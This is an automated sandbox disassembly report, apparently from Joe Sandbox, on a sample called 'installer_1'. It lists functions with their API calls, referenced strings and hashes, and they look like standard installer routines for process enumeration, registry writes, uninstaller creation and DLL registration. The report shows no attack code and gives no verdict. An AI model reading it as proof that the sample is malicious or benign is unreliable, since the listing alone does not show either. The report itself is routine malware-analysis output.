Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95

Function 0040737E Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

EnumProcessModules, xrefs: 004064B6
Module32FirstW, xrefs: 004065FF
Unknown, xrefs: 00406528
CreateToolhelp32Snapshot, xrefs: 004065E1
Kernel32.DLL, xrefs: 004065C7
Module32NextW, xrefs: 0040660A
Process32NextW, xrefs: 004065F4
PSAPI.DLL, xrefs: 00406490
GetModuleBaseNameW, xrefs: 004064C0
EnumProcesses, xrefs: 004064AE
Process32FirstW, xrefs: 004065E9

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

N, xrefs: 00404298
F, xrefs: 004042D3
open, xrefs: 0040430B

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

plF, xrefs: 00406B54
[Rename], xrefs: 00406BF4, 00406C03
^F, xrefs: 00406ACF
%s=%s, xrefs: 00406B6F
NUL, xrefs: 00406ACA

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

@bG, xrefs: 00406162
RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00427176,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00427176,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00427176,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
`G, xrefs: 0040246E
(pd, xrefs: 00402473
Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: (pd$Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 1033533793-1186291014
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
